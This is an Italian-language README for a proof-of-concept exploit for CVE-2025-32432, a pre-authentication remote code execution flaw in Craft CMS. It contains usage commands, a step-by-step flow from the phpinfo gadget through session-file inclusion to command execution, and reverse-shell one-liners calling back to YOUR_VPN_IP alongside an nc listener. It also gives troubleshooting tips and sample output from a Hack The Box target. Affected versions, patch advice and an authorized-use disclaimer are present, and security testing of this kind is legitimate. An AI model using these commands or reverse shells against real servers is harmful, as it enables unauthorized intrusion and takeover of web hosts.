
Proof of concept a bersaglio singolo per CVE-2025-32432, un'esecuzione remota di codice pre-autenticazione in Craft CMS. Esegue la conferma della vulnerabilità tramite gadget phpinfo ed esecuzione opzionale di comandi attraverso una catena di inclusione di file di sessione.
Solo test autorizzati. Questo repository è destinato ad ambienti di laboratorio controllati, piattaforme CTF come Hack The Box, validazione interna e verifica difensiva. Non eseguire questo strumento su sistemi che non possiedi o per cui non hai esplicita autorizzazione a testare.
Questo progetto contiene una proof of concept a bersaglio singolo per CVE-2025-32432, una vulnerabilità di esecuzione remota di codice pre-autenticazione in Craft CMS.
La PoC esegue due fasi:
phpinfo() attraverso l'endpoint di generazione delle trasformazioni degli asset di Craft CMS.Lo script è progettato per evitare un comune problema di falso negativo presente in alcune PoC pubbliche: una normale richiesta di trasformazione immagine può restituire 404, mentre lo stesso endpoint e assetId funzionano ancora quando viene utilizzato il payload del gadget reale.
Secondo l'avviso ufficiale di Craft CMS e i database pubblici di advisory, gli intervalli interessati sono:
| Ramo Craft CMS | Versioni interessate | Versione corretta |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Se gestisci una distribuzione di Craft CMS, aggiorna immediatamente a una versione corretta.
La PoC segue questo flusso:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
Dettagli implementativi importanti:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout per gli scenari di reverse shell.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3Installa le dipendenze:
python3 -m pip install requests urllib3
Questa modalità conferma la vulnerabilità utilizzando solo il gadget phpinfo.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Output di successo atteso:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
La risposta di phpinfo viene salvata come:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Esempio di output di successo:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Usa questa opzione quando conosci già i valori funzionanti.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Alcuni target potrebbero utilizzare un front controller personalizzato come x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
Questo testa rotte come:
http://target.local/x.php?p=admin/actions/assets/generate-transform
Avvia prima un listener:
rlwrap -cAr nc -lvnp 12345
Quindi esegui la PoC con un comando di reverse shell:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 disabilita il timeout delle richieste. È utile perché le reverse shell spesso mantengono aperta la richiesta HTTP.
Variante distaccata:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
| Opzione | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL di base del target | Obbligatorio |
-c, --cmd | Comando facoltativo da eseguire dopo la conferma di phpinfo | Nessuno |
--front | Nome del file front controller | index.php |
-s, --scan-max | assetId massimo da testare con il gadget phpinfo | 50 |
-a, --asset | ID asset funzionante noto | Nessuno |
--endpoint | Endpoint generate-transform funzionante noto | Nessuno |
--session-dir | Directory delle sessioni PHP. Può essere specificata più volte | Elenco predefinito |
--timeout | Timeout della richiesta per l'attivazione del comando. Usa 0 per nessun timeout | 20 |
assetId 0 -> HTTP 404 durante la scansione normaleNon fare affidamento su una normale richiesta di trasformazione per il rilevamento. Alcuni target restituiscono 404 per un corpo di trasformazione normale ma eseguono comunque il payload del gadget.
Questa PoC scopre le combinazioni valide utilizzando il gadget phpinfo stesso.
Prova a specificare manualmente la directory delle sessioni:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Poi prova:
--session-dir /var/lib/php/session
oppure:
--session-dir /tmp
Usa uno di questi approcci:
--timeout 0
Usa un payload distaccato con setsid o nohup.
Conferma che il tuo IP di callback sia corretto:
ip -br a | grep tun
Può essere normale se la reverse shell si è connessa correttamente. Controlla il tuo listener prima di considerare il timeout un errore.
Prova prima un comando più semplice:
-c "id"
-c "whoami"
-c "pwd"
Se i comandi semplici funzionano ma quelli complessi falliscono, racchiudi il comando tra virgolette con attenzione oppure usa un payload shell distaccato.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Se amministri un'istanza di Craft CMS:
3.9.15, 4.14.15, 5.6.17 o versioni successive..env e le credenziali del database se si sospetta uno sfruttamento.Questo progetto è fornito esclusivamente a scopo educativo, di ricerca, di laboratorio e di validazione difensiva. L'autore non è responsabile per un uso improprio. Testa solo sistemi che possiedi o per cui hai esplicito permesso scritto di valutazione.